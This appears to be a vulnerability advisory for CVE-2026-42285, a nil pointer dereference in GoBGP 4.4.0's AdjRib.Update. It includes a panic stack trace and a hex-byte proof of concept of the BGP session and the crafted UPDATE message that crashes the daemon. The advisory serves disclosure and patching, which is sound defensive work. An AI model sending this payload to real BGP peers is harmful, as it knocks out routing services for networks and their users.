GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference) in github.com/osrg/gobgp

Open Source Vulnerabilities CVE-2026-42285

GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.

Open Source Vulnerabilities GHSA-p3w2-64xm-833j

### Summary Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. ### Details The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management. Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw. Code Path: The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate. Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil. The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update. The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure. Log Snippet: ``` {"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"} panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8] goroutine 52 [running]: github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?}) /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8 github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900) /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4 github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900) /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6 github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?) /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25 github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?) /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82 created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37 /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5 ``` ### PoC ``` [SEND] OPEN Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00 [RECV] Type: 1 | Length: 77 Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02 [+] Received OPEN from peer [SEND] KEEPALIVE Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04 [RECV] Type: 4 | Length: 19 Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04 [+] BGP Session Established [SEND] Crafted UPDATE Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00 [*] Waiting for peer reaction... [+] Done. ``` ### Impact Remote Denial of Service (DoS) in GoBGP v4.4.0

Open Source Vulnerabilities GO-2026-5525

GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference) in github.com/osrg/gobgp